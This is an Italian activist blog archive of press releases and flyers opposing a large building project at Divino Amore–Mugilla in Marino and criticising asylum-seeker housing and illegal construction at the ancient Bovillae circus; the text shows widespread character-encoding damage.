Archivi tag: palozzi

Dal Centro Sociale “IpA?” di Marino, sulla questione richiedenti asilo e le speculazioni

Alloggiare degnamente i ragazzi rifugiati, contrastare gli speculatori

La vera emergenza la creano i palazzinari

e i loro referenti politici

E’ di questi giorni la notizia dellai??i??arrivo di settantotto migranti richiedenti asilo politico a Marino, le cui sistemazioni indicate dalla Prefettura sono tredici appartamenti situati in via Colizza (zona Paolina).
Risulta chiaro come la soluzione prospettata sia del tutto inadeguata e destinata a provocare un sovraffollamento degli spazi vitali. In un’area condominiale dove a stento A? garantita la regolare erogazione dei servizi essenziali come la fornitura dellai??i??acqua, ammassare decine di persone in spazi ridotti privandole del grado minimo di vivibilitAi??, significa ledere la stessa dignitAi?? umana di coloro che dovrebbero ricevere accoglienza.
Ma chi c’A? dietro alle ai???emergenzeai??? abitative dei migranti, compreso il caso marinese?
A lucrare sulle disperate condizioni di chi migra fuggendo da fame e miseria sono losche cooperative interessate a spartirsi i fondi europei destinati alla sistemazione dei richiedenti asilo politico: la Cooperativa 29 giugno e la cupola di Mafia Capitale hanno fatto scuola. Allo stesso modo opera la cooperativa RTI Tre Fontane-Senis Hospes, affittuaria degli appartamenti in zona Paolina resi disponibili dalla proprietAi?? degli immobili (Flavia costruzioni) la quale da anni attende di guadagnare sui locali sfitti.
Il sistema di ai???accoglienzaai??? A? lo stesso in tutta Italia: ingenti profitti (20Milioni di Euro per la Coop. Tre Fontane-Senis Hospes) sulla pelle di migliaia di rifugiati e migranti in fuga dalle loro terre, massacrate dalle guerre provocate e sostenute dai governi occidentali, Italia in testa.
Eai??i?? inoltre utile ricordare che sin dai primi di marzo era stato annunciato dagli organi di stampa l’arrivo di 771 profughi nel territorio dei Castelli Romani e l’attuale sindaco Silvagni, il 5 marzo dichiarava che avrebbe provveduto alla sistemazione di quelli assegnati a Marino, coordinandosi con le altre istituzioni ed enti religiosi (proprietari di molti immobili disabitati) anche al fine di evitare disagi alla popolazione residente.
Sappiamo invece che il sindaco e la giunta, proprio sulle questioni urbanistiche ed il sistema clientelare delle assunzioni, ha costruito le proprie (s)fortune (cosAi?? come Palozzi e i suoi predecessori), fregandosene altamente di risolvere i problemi di Marino, compresa questa vergognosa situazione.
L’esasperazione dei cittadini nei confronti della gestione clientelare di cui la vicenda A? intrisa e la conseguente rabbia che ne A? scaturita in questi giorni, vanno indirizzate verso i responsabili del costante e scellerato sfruttamento del nostro territorio: quelli che con la cementificazione selvaggia di vastissime aree costringono le famiglie a fare i salti mortali per vivere in quartieri fantasma privi dei servizi minimi.
Oltre alla Paolina, i casi di Costa Caselle e di Palaverta sono i piA? eclatanti: un migliaio di appartamenti vuoti in tutto il comune, con prezzi intorno a 3.000 euro al mq. Affitti esorbitanti e servizi inesistenti, criterio essenziale alla base di ogni speculazione edilizia, compresa quella prevista per il Divino Amore a S. Maria delle Mole, dove il sodalizio tra costruttori e amministrazioni (attuali e passate) ha generato un mostro: un progetto per un milione di metri cubi di cemento e 12.500 nuovi abitanti dove la qualitAi?? della vita della popolazione troverebbe molte affinitAi?? con quelle dei 78 rifugiati stipati in tredici appartamenti.
Si A? ancora in tempo per trovare una soluzione che soddisfi le esigenze di 78 persone e quelle dei residenti, molti dei quali dichiarano che non avrebbero alcun problema a convivere con un minor numero di richiedenti asilo.
Vanno quindi contrastate le menzogne costruite ad arte come la ai???devastazioneai??? dellai??i??ostello di Ciampino ad opera dei ragazzi che dovrebbero essere ospitati nel nostro comune, utili soltanto a generare pregiudizi e timori infondati.
Al nostro paese accogliamo tutti, indipendentemente dal colore della pelle e dalla nazionalitAi??, mentre dovremmo essere in grado di regalare un biglietto di sola andata su qualche barcone ai profittatori che quotidianamente speculano sulle nostre teste. Nello scambio ci guadagneremmo notevolmente.

CENTRO SOCIALE IPOai??i?? – MARINO

Volantino in formato PDF

La Regione Lazio dalla parte dei devastatori

REGIONE LAZIO: PROTESTA CONTRO LA DECISIONE DELLA GIUNTA ZINGARETTI, CHE NON SI OPPONE ALLA CEMENTIFICAZIONE DI DIVINO AMORE E MUGILLA

MercoledAi?? 29 Aprile si A? tenuta una seduta del Consiglio Regionale del Lazio, che ha avuto tra i punti allai??i??ordine del giorno la discussione di una mozione, presentata da alcuni consiglieri del Movimento Cinque Stelle, volta a richiedere la revoca delle delibere di giunta regionale, emanate tra Dicembre 2012 e Febbraio 2013 dallai??i??allora Giunta Polverini (peraltro giAi?? dimissionaria), riguardanti la cementificazione di piA? di 200 ettari di Agro Romano, ricompresi entro i confini del Comune di Marino, in localitAi?? Mugilla e Divino Amore.

Si tratta di un abnorme progetto di sviluppo da circa un milione di metri cubi di edilizia residenziale privata e commerciale, che si tradurrebbe, se effettivamente attuato, nella costruzione ex novo di una vera e propria cittAi?? da 12.500 abitanti. I costruttori legati al piano edificatorio sono vari, da quelli locali fino a Luca Parnasi, lo stesso del nuovo stadio dellai??i??A.S. Roma, cui difatti fa riferimento la lottizzazione di gran lunga piA? rilevante.

Le contraddizioni che insistono su tale cementificazione sono molteplici: dallai??i??assenza del cambio di destinazione dai??i??uso per i terreni coinvolti, necessario per la legittimitAi?? di qualsiasi variante, fino alla criticitAi?? della situazione idrogeologica dellai??i??area, solo per citarne alcune fra le piA? importanti.

Civita e Palozzi a colloqui durante seduta regione lazio 29 aprile 2015 (Copia)

Palozzi discute con l’assessore Civita in aula consiliare alla Regione Lazio in merito alla questione della cementificazione del Divino Amore, prima della discussione della mozione. L’ex sindaco di Marino voleva arrivare arrivare al voto, che da prte sua sarebbe stato contrario, mentre l’assessore Civita vuole un prolungamento dei tempi. In ogni caso, un favore ai devastatori

GiAi?? nelle sedute di MercoledAi?? 15 Aprile e di LunedAi?? 27 Aprile la mozione in questione si sarebbe dovuta discutere; entrambe si erano invece concluse con il rinvio del consiglio regionale. Maggioranza e centro destra, alfine di fiaccare la resistenza dei numerosi cittadini dellai??i??ai??? Assemblea contro la cementificazioneai??? e del comitato ai???Argine Divino Amoreai??? (i cui ricorsi contro la gigantesca speculazione giacciono tuttora presso il T.A.R.), non avevano esitato a ricorrere a tutte le tecniche dilatorie a disposizione. Tra ripetute sospensioni delle sedute, pause protratte per ore e bocciature delle richieste di inversione dellai??i??O.d.g., non pochi consiglieri avevano peraltro scelto di disertare lai??i??assemblea, per primo lai??i??assessore competente Michele Civita. Alla condotta inetta e subalterna di questi personaggi erano ovviamente seguite le proteste dei presenti, decisi a difendere il proprio territorio.

Il comportamento di assessori e consiglieri non ha perA? raggiunto i risultati sperati, e, anche il 29 Aprile, per la terza volta in due settimane, il Consiglio si A? svolto alla presenza dei comitati. Cominciata la discussione della mozione, che a questo punto non poteva piA? essere elusa, Civita ha esposto la posizione della maggioranza.

In sostanza, ad una teorica dichiarazione di generale contrarietAi?? nei confronti della cementificazione del Divino Amore, corrisponde una preoccupante mancanza della volontAi?? politica di opporsi a tale scempio, celata dietro la proposta dellai??i??assessore di sospendere la discussione della mozione in attesa di un nuovo esame in commissione urbanistica dellai??i??intera operazione, nella quale sede lai??i??Avvocatura di Stato dovrAi?? esprimere il proprio parere circa la praticabilitAi?? di un eventuale stop al progetto. Quello che Civita agita A? cioA? lo spauracchio dei cosiddetti ai???diritti acquisitiai???, vero dogma del cemento selvaggio, invocato per giustificare le iniziative politico-imprenditoriali piA? sciagurate.

Il PD ha avuto gioco facile nel far approvare la proposta di sospensione, con il decisivo appoggio di SEL. Eppure in campagna elettorale Zingaretti si era assunto lai??i??impegno di annullare le delibere approvate illegittimamente dalla Giunta Polverini giAi?? dimissionaria. Eppure sei consiglieri del PD avevano qualche tempo fa presentato una mozione analoga a quella attuale, che perA? non A? stata mai discussa. Le giravolte della maggioranza danno la misura di quanto consistenti siano gli interessi in ballo e di quanto siano trasversali agli schieramenti partitici.

Dal canto suo, il centro destra avrebbe viceversa voluto votare subito la mozione. Il consigliere Adriano Palozzi, ex sindaco di Marino, vero referente politico della cementificazione, si A? intrattenuto per circa un quarto dai??i??ora con lai??i??assessore Civita, discutendo animatamente. Lai??i??aria che si respira negli uffici del Comune di Marino A? ultimamente piuttosto pesante, dopo lai??i??arresto lo scorso 9 Aprile del sindaco di centro destra Fabio Silvagni per corruzione e peculato e la destra regionale avrebbe certo preferito bocciare subito la mozione, blindando ulteriormente un piano edilizio attorno al quale si giocano varie fortune politiche, ma che fa acqua da tutte le parti.

La Giunta Zingaretti decide di non decidere, rinvia la discussione sul merito della mozione alle calende greche, in una situazione nella quale per le lottizzazioni piA? piccole i costruttori dispongono giAi?? dei permessi a costruire. Allo stesso tempo non avalla direttamente lai??i??operato di uno schieramento politico che governa il comune di Marino da anni e che oggi A? impantanato in difficoltAi?? giudiziarie. Impossibile tuttavia non cogliere la somiglianza tra la decisione della maggioranza regionale e la sospensione votata dalla maggioranza comunale di Silvagni a Novembre 2014 per una mozione che richiedeva appunto il ritiro delle delibere, in quel caso del consiglio comunale di Marino, riguardanti la cementificazione del Divino Amore.

Lai??i??Assemblea contro la cementificazione rilancia la mobilitazione contro questa acclarato attacco al territorio e continuerAi?? nellai??i??opposizione al progetto in tutte le sedi necessarie, per scongiurare un drammatico peggioramento delle condizioni di vita della popolazione.

Marino, 30 Aprile 2015

Assemblea contro la cementificazione — http://stopcemento.noblogs.org

Comunicato in formato PDF

Gli scandali grossi devono ancora emergere

Scarica qui il testo in formato PDF

TUTTI/E ALLA “PISANA” – MERCOLEDI’ 15 APRILE, DALLA MATTINA

Il Consiglio Regionale del Lazio discuterAi?? il 15 aprile la mozione del M5S di revoca della cementificazione dellai??i??area Mugilla-Divino Amore di Marino

I comitati ADA e ACC invitano tutti i cittadini a partecipare al Consiglio Regionale per supportare la decisone di revoca dei provvedimenti speculativi

Ai??

Il prossimo 15 aprile il Consiglio Regionale del Lazio discuterAi?? come settimo punto dellai??i??ordine del giorno una mozione presentata dai Consiglieri Regionali DenicolA?, Porrello e Corrado del Movimento 5 Stelle in cui si chiede al Presidente della Regione Lazio Nicola Zingaretti di revocare tutti gli atti relativi al piano urbanistico di cementificazione per oltre un milione di mc e 12 500 nuovi abitanti, dellai??i??area verde e di rilevanza paesaggistica-archeologica di Mugilla-Divino Amore di Marino. Questa intensiva urbanizzazione A? stata fortemente voluta dal centrodestra di Marino guidato da Adriano Palozzi, oggi Consigliere Regionale, e Fabio Silvagni, attuale Sindaco di Marino posto agli arresti domiciliari il 9 aprile scorso in una indagine per corruzione e peculato.

I comitati di cittadini Argine via Divino Amore (ADA) e Assemblea Contro la Cementificazione (ACC) accolgono con estremo favore la discussione di questa mozione di revoca in sede regionale e invitano tutta la cittadinanza a presenziare il 15 aprile prossimo il Consiglio Regionale che potrebbe portare alla chiusura di una vicenda di gravissima speculazione edilizia a danno di tutta la comunitAi?? di Marino per il vantaggio di pochi politici e palazzinari.

Marino, 10 aprile 2015

Argine via Divino Amore ai??i?? Assemblea Contro la Cementificazione

Riceviamo e pubblichiamo articolo degli ambientalisti di Boville

SCEMPIO ARCHEOLOGICO AL CIRCO ANTICO DI BOVILLE: PRIMA UDIENZA AL TRIBUNALE

Domani 12 marzo si terra l’udienza preliminare davanti al GIP del Tribunale di Velletri sullo scempio archeologico compiuto nell’area dell’antico Circo romano di Bovillae, a Frattocchie. Era uno dei soli 6 stadi di Roma, capace di 8000 spettatori, e come tutta l’antica cittAi?? era dedito all’imperatore Augusto e alla sua stirpe, la “Gens Julia”, di cui Enea era il mitico capostipite. Un ordine di sacerdoti officiava i giochi e celebrava i riti religiosi. Gli archi del Circo, detti “Carceres” poichAi?? contenevano i carri in partenza, sono gli unici rimasti dell’intero mondo romano antico.

Nel 2013 partendo da un “gallinaio” sono state costruite imponenti costruzioni a ridosso degli archi, sopra l’edificio ed i mosaici dei sacerdoti che officiavano il culto. L’Ufficio Urbanistica del Comune di Marino rilasciava l’autorizzazione, ma in seguito a verifiche gli inquirenti hanno scoperto che era basata su dichiarazioni false del proprietario e del suo tecnico, che riferivano che il “gallinaio” era antecedente il 1967, anno in cui un Decreto Ministeriale imponeva un vincolo di inedificabilitAi?? assoluta. L’Ufficio Urbanistica ha avvallato le dichiarazioni, ha ignorato le perizie basate sulle foto aree, ha dato il nulla osta per il superamento del vincolo paesistico, e infine ha concesso l’autorizzazione a ristrutturare “il tetto” pur non avendo il parere della Soprintendenza (giunto successivamente, ed anch’esso illegale). L’Ufficio rilasciava anche un’autorizzazione per un enorme porticato in legno, sempre senza nulla osta della Soprintendenza, e nonostante il vincolo di inedificabilitAi?? assoluta. Tutte le costruzioni risultavano quindi illegali ed abusive.

La Soprintendenza per i Beni Archeologici non aveva preso alcun provvedimento per la costruzione abusiva, nAi?? si A? opposta all’evolversi delle attivitAi?? illegali, pur essendo suo dovere tutelare il bene archeologico. Anzi, ha autorizzato sondaggi preventivi per edificarvi accanto, nonostante l’inedificabilitAi?? assoluta, e nonostante i funzionari abbiano trovato che i mosaici dei sacerdoti di Augusto continuavano sotto la costruzione abusiva (Fig. 1), hanno dato il nulla osta (illegale) per la ristrutturazione del “tetto” di questa.

Il proprietario non si limitava a ristrutturare il tetto, ma ha demolito il “gallinaio” erigendo un’imponente costruzione gettando fondamenta e facendo uno scempio in un’area con beni archeologici di valore inestimabile. Non contento, erigeva due enormi gazebo a ridosso degli archi, e l’enorme porticato in legno anzidetto. Progetta di “ristrutturare” la casa costruita precedentemente usando un arco del Circo come supporto. Il sito archeologico piA? importante di Marino, e di importanza internazionale, A? stato trasformato in un ai???archeo-mostroai???, cioA? in unai??i??accozzaglia di costruzioni tutte intorno agli archi, che sono i punti di partenza del Circo, rendendolo irriconoscibile e non piA? visibile (Fig. 2).

I fatti sembrano accertati, ma nell’udienza preliminare al Tribunale di Velletri, che puA? rinviare a giudizio gli indagati, emergono numerosi conflitti di interessi. Da un lato i funzionari del Comune di Marino, e tra di essi il dirigente Ing. Stefano Petrini, sono indagati e su di essi pendono diversi capi d’imputazione. Il Comune stesso tuttavia A? parte offesa (i beni si trovano nel suo territorio) e paga le spese legali di difesa di alcuni funzionari in seguito ad una delibera della giunta Palozzi. Il Ministero dei Beni Culturali, di cui la Soprintendenza A? un organo, A? anche parte offesa essendo il tutore dei Beni, ed A? prevedibile anche qui una difesa d’ufficio dell’operato dei funzionari interessati. SpetterAi?? ai Giudici trovare con coraggio la via per ripristinare la legge e per tutelare il sito archeologico, anche dalla prosecuzione di altre edificazioni progettate nell’area dal proprietario, con le stesse procedure. La vicenda potrAi?? forse gettare luce sulla singolaritAi?? che ha visto la Soprintendenza rilasciare ben 1190 nulla osta a costruire in aree con presenze archeologiche su 1200 richieste avanzate dai proprietari (99,25%!), incluse quelle assai controverse dell’area di Mugilla. La tutela del patrimonio archeologico e paesistico di Marino attende risposte dalle aule di giustizia di Velletri.

[FIGURE ALLA PAGINA SUCCESSIVA]

Ai??

MARINO, 11 MARZO 2015

Ambientalisti Pro Bovillae

Ai??

Figura1: Sovrapposizione ultimo edificio su vestigia – dalla pianta dell’archeologo Fea

Figura 2: Circo antico di Boville – Gli archi del Circo nascosti dalle costruzioni abusive

SCEMPIO ARCHEOLOGICO AL CIRCO ANTICO DI BOVILLE – articolo in PDF

Allarmi estivi: betoniere all’orizzonte

Ai??Ai?? Ai??Ai?? Ai?? UNA COLATA DI CEMENTO

E’ PER SEMPRE

dobbiamo fermarli

LA REGIONE LAZIO NON VUOLE REVOCARE

LE DELIBERE DELLA PRECEDENTE

GIUNTA POLVERINI

Dopo il presidio sotto la sede della Regione Lazio lo scorso 17 luglio durante il quale non siamo stati ricevuti da nessun politico o funzionario, non ci siamo dati per vinti e siamo andati a intercettare l’assessore regionale Civita che veniva ospitato presso la festa del PD a Ciampino il 22 luglio mettendo pubblicamente in luce la continuitAi?? dell’operato della giunta Zingaretti con quella della Polverini in merito alla pesante cementificazione dei territori. E’ chiaramente emerso dalle dichiarazioni di Civita come non ci sia alcuna volontAi?? politica di revocare gli atti della giunta Polverini che consentono la distruzione di 240 ettari di Agro Romano e il raddoppio di S.Maria delle Mole per altri 14.500 abitanti.

Il costruttore Parnasi e un dedalo di altre societAi?? minori trovano cosAi?? ulteriore sostegno politico e amministrativo per la loro ai???idea di sviluppo del territorioai???: 1 milione e 300 mila metri cubi di cemento, quasi tutti residenziali, piA? un bel centro commerciale.

Eccolo il modello urbanistico e sociale del terzo millennio: sparizione del verde, inquinamento e diminuzione delle falde acquifere, impermeabilizzazione di 240 ettari di Agro Romano, devastazione dell’enorme valore storico, paesaggistico e archeologico di tutta l’area, ulteriore intasamento dovuto al maggiore traffico veicolare e ai??i?? come unico ai???svagoai??? – la possibilitAi?? di crescere all’ombra di un centro commerciale come principale luogo aggregativo.

In piena continuitAi?? con l’operato dell’ex sindaco Palozzi, ora consigliere regionale inserito in Commissione Ambiente, l’attuale sindaco Silvagni conferma le intenzioni del suo predecessore che stipulA? il famoso accordo di programma con la Polverini allora al governo della Regione Lazio.

Il presidente Zingaretti, che in campagna elettorale annunciA? di voler revocare le delibere della Polverini approvate dopo le sue stesse dimissioni, si rifiuta di fare ciA? che aveva promesso.

Il motivo ? Quello formale A? che la Regione Lazio corra dei rischi legali dovuti ai ricorsi che i palazzinari effettuerebbero, con successivo pagamento dei danni agli stessi.

Quindi, di fatto la Regione Lazio adesso sostiene la legittimitAi?? di una serie degli accordi di programma e delle delibere che non ne avevano prima e non ce l’hanno tuttora, tanto da aver dato luogo a diversi ricorsi al TAR.

Hanno deciso di non decidere, schierandosi apertamente dalla parte dei palazzinari, questi fenomeni dell’imprenditoria edilizia nostrana che distruggono il territorio, restringono gli spazi e poi tengono le case sfitte mentre sempre piA? persone e famiglie si trovano con le spalle al muro tra mutui e affitti impossibili da pagare.

Invitiamo tutta la popolazione a non stare a guardare ma a mobilitarsi, come giAi?? fece egregiamente lo scorso anno per la vicenda della discarica della Falcognana.

IL PARTITO UNICO DEL MATTONE

STA PER RADDOPPIARE L’ABITATO

DI S.MARIA DELLE MOLE

Assemblea Contro la Cementificazione ai??i?? http://stopcemento.noblogs.org — stopcemento@inventati.org

Riunione ogni lunedAi?? alle 21.30, presso la sede di via S.Paolo Apostolo 19, a 100 mt dalla stazione di S.Maria

Scarica qui il volantino in formato PDF

GIOVEDI 17 LUGLIO – PRESIDIO ALLA REGIONE LAZIO

COMUNICATO

L’Assemblea contro la Cementificazione e il Coordinamento Argine Divino Amore invitano la popolazione di S.Maria delle Mole, Frattocchie, Marino, delle altre sue frazioni e tutti i solidali a partecipare al presidio sotto la Regione Lazio, giovedAi?? 17 luglio, dalle ore 10.00, presso la sede del ai???governo regionaleai??? in via Cristoforo Colombo.

Per fermare il progetto che prevede il raddoppio dell’abitato di S.Maria delle Mole e Frattocchie, con un milione e trecentomila metri cubi di cemento da riversare su 240 ettari di Agro Romano e appartamenti per 12.500 nuovi residenti, chiediamo alla giunta della Regione Lazio di revocare le delibere della precedente giunta Polverini che riguardano il ai???via liberaai??? a questa immensa speculazione edilizia.

Tali delibere furono realizzate dopo le dimissioni della stessa giunta Polverini mentre, circa un anno e mezzo prima, fu stipulato un accordo di programma tra la stessa ex-presidente della Regione e Adriano Palozzi, allora sindaco marinese e attualmente consigliere regionale nonchAi?? membro della Commissione Ambiente.

Chiediamo quindi che Zingaretti e la sua giunta mantengano gli impegni presi in maniera chiara durante la campagna elettorale delle ultime elezioni regionali e revochino gli atti amministrativi che riguardano la devastazione e il saccheggio del territorio dove viviamo e lavoriamo.

Questo importante quadrante di Agro Romano, ricco di reperti archeologici, di bellezze paesaggistiche e naturalistiche non puA? finire preda di importanti costruttori privati, tra i quali spicca Parnasi con societAi?? costituite ad hoc che vantano ben 10.000 euro euro di capitale sociale.

Per impedire questo scempio e per avere una maggiore e definitiva tutela chiediamo inoltre l’estensione del Parco dell’Appia Antica a tutta la zona, vista la contiguitAi?? territoriale, storica e naturale che li lega.

Nel nostro territorio, sempre piA? assediato da problematiche relative al traffico aereo dell’aeroporto di Ciampino, dal gas radioattivo radon, dal traffico veicolare in costante aumento, dalla minaccia della costruzione della discarica di Roma-Falcognana non c’A? e non ci puA? essere spazio per una nuova ed irreversibile nocivitAi??.

NocivitAi?? sostenuta a tutti i livelli da importanti politici locali a favore di forti interessi privati e combattuta dalle popolazioni tramite decine di iniziative pubbliche e numerosi ricorsi al TAR, tuttora pendenti.

Facciamo presente alla giunta Zingaretti e al sig.Palozzi, che ne A? sicuramente piA? al corrente, che il Comune di Marino ha una raccolta differenziata ferma al 20% e che in virtA? di questo splendido risultato ambientale, conferisce 4 tonnellate su 5 di rifiuto ai???tal qualeai??? nella vicina discarica di Albano-Roncigliano.

Andando cosAi?? ad avvelenare le terre e l’aria di una vastissima zona, provocando un’emergenza continua per le popolazioni locali che negli ultimi anni si sono ribellate e stanno lottando efficacemente, tanto che si trovano sotto processo alcuni eccellenti nomi dell’imprenditoria e della politica accusati di truffa.

Volendo costruire un altro milione e trecentomila metri cubi di cemento e antropizzando il territorio marinese in modo cosAi?? massiccio siamo destinati a vedere anche ridotte e maggiormente inquinate le nostre falde acquifere mentre la produzione di rifiuti raddoppierebbe, con tutte le conseguenze del caso.

Crediamo sia necessario prendere provvedimenti urgenti e mettere ai???una pietra sopraai??? a questa inutile e devastante speculazione edilizia, tanto piA? che esistono centinaia di appartamenti nuovi sfitti nel nostro comune mentre l’emergenza abitativa ci sembra sia esplosa anche a causa di simili politiche ai???di sviluppoai???.

Per questo invitiamo tutti/e ancora una volta a partecipare al presidio sotto la Regione Lazio, giovedAi?? 17 luglio dalle ore 10.00 ed abbiamo chiesto di incontrare in quella data gli assessori regionali Civita e Refrigeri.

Chi vuole potrAi?? partire insieme a noi, ritrovandosi al parcheggio di scambio tra via G.Mameli e via Capanne di Marino, alle ore 9.00.

Marino, 14 luglio 2014

Assemblea contro la Cementificazione, Coordinamento Argine via Divino Amore

http://stopcemento.noblogs.org — sites.google.com/site/arginedivinoamore

Clicca qui per il comunicato in formato PDF

Assemblee pubbliche e Presidio alla Regione Lazio il 17 luglio

In vista del presidio alla Regione Lazio promosso dall’ “Assemblea contro la Cementificazione” e da “Argine Divino Amore”, ci saranno diversi incontri pubblici per informare la popolazione.

Il 17 luglio, infatti, andremo a chiedere la revoca di tutte le delibere della ex Giunta Polverini che favoriscono l’iter di devastazione ambientale sui 240 ettari di Agro Romano a favore di noti palazzinari romani che, in questi anni, sono stati ben sostenuti dal centro-destra marinese e dagli interessi del PD all’opposizione nel medesimo comune.

LunedAi?? 23 giugno, un discreto numero di persone si A? radunato in via Curiel a S.Maria delle Mole, partecipando alla prima delle tre assemblee programmate

La seconda assemblea si svolgerAi?? al Parco Falcone, sabato 28 giugno, dalle ore 17.00, in via Maroncelli a S.Maria delle Mole.

Per quanto riguarda la terza assemblea, sempre a S,Maria delle Mole, dovrebbe svolgersi sabato 5 luglio, dalle ore 17.00 presso il parco “R.Lupini” (ex parco Spigarelli), non prima di aver risolto un problema di sovrapposizione con il locale Comitato di Quartiere che per lo stesso giorno ha organizzato la prima di quattro serate danzanti dal titoloAi?? “Ballando sotto le stelle”, preludio alla prima “Sagra dei maltagliati con cozze e fagioli” che si sovlgerAi?? la settimana successiva (locandina all’evento clicca qui)

Di seguito, locandina e testo del volantino (clicca qui per il volantino in pdf)

GIOVEDI’ 17 LUGLIO ai??i?? ORE 10.00

PRESIDIO PRESSO LA REGIONE LAZIO

PER LA REVOCA DELLE DELIBERE

DELLA GIUNTA POLVERINI CHE AUTORIZZA IL RADDOPPIO DI S.MARIA DELLE MOLE

L’Assemblea contro la Cementificazione invita tutti e tutte a partecipare ad un presidio sotto la Regione Lazio per ottenere l’annullamento delle delibere e di tutti gli atti della Giunta Polverini che autorizzano la mega-speculazione edilizia in zona via del Divino Amore.

Ad oltre un anno dall’insediamento, la Giunta Zingaretti non ha ancora provveduto alla cancellazione di tali atti, avvenuti per altro dopo le dimissioni della stessa Polverini. Nel programma del centro-sinistra era stato proprio esplicitato che tutte le delibere ai???last minuteai??? della Polverini sarebbero state revocate.

Per il momento, invece, non c’A? stata nemmeno la volontAi?? politica di calendarizzare una discussione in aula che riguardasse queste vicende. Per questo vogliamo un immediato incontro con gli assessori competenti, ovvero Refrigeri e Civita.

Sul nostro territorio puA? ai??i?? seppur illegittimamente ai??i?? abbattersi una colata di un milione di metri cubi, per 12.000 nuovi residenti e 10.000 automobili in piA?, con il raddoppio dei rifiuti prodotti (e la differenziata al 20%), la devastazione di 240 ettari di verde e di storia dell’Agro Romano, l’abbassamento e l’inquinamento delle falde acquifere e, in generale, un notevole abbassamento della qualitAi?? della vita visto che al raddoppio dei residenti corrisponde il continuo taglio dei servizi (istruzione, sanitAi??, trasporti…).

Come se le centinaia di appartamenti costruiti nell’ultimo decennio e tuttora sfitti non esistessero.

Dietro la cementificazione, una grossa fetta spetta a grossi costruttori come Parnasi (quello da cui lo stesso Zingaretti ha acquistato il nuovo Palazzo della Provincia per 260 milioni di euro).

Tra le societAi?? create ad hoc, spiccano la ai???Ecovillageai??? e al ai???Ecovillage 3ai???: la prima con capitale sociale di 10.000 euro, la seconda arriva a 100.000 euro.

Anche un bambino capirebbe che quando Palozzi e Silvagni parlano di ai???sviluppo del territorioai???, grazie a questa tremenda speculazione edilizia, stanno solo tenendo a galla gli interessi di questi soggetti che hanno capitali da riciclare. Inoltre, l’ex presidente INPS, dott. Mastrapasqua, ha fatto entrare nella speculazione l’ente che gestisce i risparmi di decine di milioni di lavoratori facendo siglare un accordo tra Idea Fimit (societAi?? partecipata al 30% dall’INPS) e la Ecovillage. Per tale accordo, sono giAi?? stati versati 8 milioni di euro e siamo giAi?? stati ricevuti dall’INPS per chiedere anche a loro la revoca di tale stipula e il recupero della caparra.

In tutto ciA?, l’opposizione marinese ai??i?? in particolare il PD ai??i?? non ha mosso un dito e, anzi, sugli stessi terreni aveva previsto non uno ma due milioni di metri cubi in attivitAi?? artigianali.

GIOVEDI’ 17 LUGLIO ai??i?? ORE 10.00

TUTTI E TUTTE SOTTO LA REGIONE LAZIO (sede di via Cristoforo Colombo)

PER PARTIRE INSIEME:

ORE 9.00 PARCHEGGIO ALL’INCROCIO TRA VIA MAMELI E VIA CAPANNE DI MARINO

ASSEMBLEA CONTRO LA CEMENTIFICAZIONE — http://stopcemento.noblogs.org

Comunicato: Palazzinari e Politicanti giA? le mani dal Divino Amore

CLICCA QUI PER IL COMUNICATO IN PDF

Testo del Comunicato:

PALAZZINARI E POLITICANTI GIUai??i?? LE MANI DAL DIVINO AMORE!!!!!
Passata la sbornia elettorale, a prescindere da chi siede oggi sulle poltrone del Consiglio Regionale, risulta evidente che la sostanza rimane invariata, in quanto i metodi di governo restano
quelli della messa a profitto dei territori, del loro sfruttamento e del prevalere di interessi
privati e clientelari.

Gli stessi che hanno generato i numerosi tentativi di speculazione nellai??i??area
del Divino Amore, fino ad arrivare alle varianti surrettizie previste dalle delibere del 3 Agosto
2011. Con queste lai??i??Amministrazione Palozzi, in accordo con gli amici della Regione
Lazio ed i costruttori locali, ha dato il via al progetto da un milione di metri cubi di cemento.
Dopo una serie di atti esclusivamente politici, la giAi?? commissariata Giunta Polverini ha
approvato la delibera di accoglimento delle lottizzazioni di Mugilla (90.000 mc) e quella relativa
alla societAi?? Ecovillage (480.000 mc): primo atto amministrativo di un lungo iter che apre
di fatto la strada alle concessioni effettive. Abbiamo presentato un nuovo ricorso al Tar contro
queste delibere, il secondo dopo quello del Febbraio 2012 riguardante la ai??? varianteai??? in toto.
Lai??i??intero progetto A? stato architettato nel pieno disinteresse della collettivitAi??, in spregio
alle piA? elementari norme urbanistiche e di tutela del territorio, violando le leggi
vigenti o applicandole in maniera falsa ed illegittima, come dimostrano alcuni dei
punti che sono alla base del nostro primo ricorso al Tar:

1) Assenza del cambio di destinazione dai??i??uso dei terreni interessati dalla cementificazione,
tuttai??i??ora zona D (artigianale commerciale industriale), come previsto dalla variante
generale al prg di Desideri del 2000, e dunque della trafila urbanistica necessaria ad una
variante valida. CiA? ha permesso allai??i??Amministrazione di scavalcare i procedimenti previsti
per legge, come la conferenza dei servizi.

2)Violazione e falsa applicazione in tema d i V a l u t a z i o n e A m b i e n t a l e S t r a t e g i c a ( V A S ) . Lai??i??Ingegnere allai??i??Urbanistica Stefano Petrini nel Consiglio Comunale del 31 Ottobre 2011 ha
scritto rispondendo ad alcune controdeduzioni: ai???Si evidenzia che il progetto nel caso specifico
non prevede la VIA (Valutazione Impatto Ambientale) bensAi?? la VASai???. Peccato sia facilmente
smentibile come dimostra il D.lgs 152/06 che include tra quelli che necessitano di VIA
anche ai???i progetti di sviluppo di aree urbane, interessanti superfici superiori ai 40ha (ettari)ai???.

3) Mancanza di unai??i??indagine sul fabbisogno idrico di Mugilla-Divino Amore. BenchAi?? la
Regione abbia dato parere favorevole con condizioni al progetto specifico della SocietAi?? Ecovillage
(Parnasi), in relazione al problema idrogeologico, il d.lgs 159/99 classifica la zona in
questione come area ad alta ai???vulnerabilitAi?? idrogeologica ed elevata infiltrazioneai??? ragion per
cui ai???in tali aree non A? possibile realizzare interventi urbanistici di varia natura, in particolare
nuovi insediamenti di carattere abitativoai??? come affermato dal PTPG e dal d. lgs. 152/06.

Questa vertenza A? una lotta autorganizzata che, per vincere, deve avere il sostegno dellai??i??intera popolazione. Insieme al ricorso A? necessaria la mobilitazione attiva di chi vive in questo territorio.
Difendiamolo insieme dalle speculazioni.

Assemblea Contro la Cementificazione

Riunione ogni lunedAi?? ore 21:30 Via San paolo Apostolo 19 – S. M. delle Mole
blog: www.stopcemento.noblogs.org
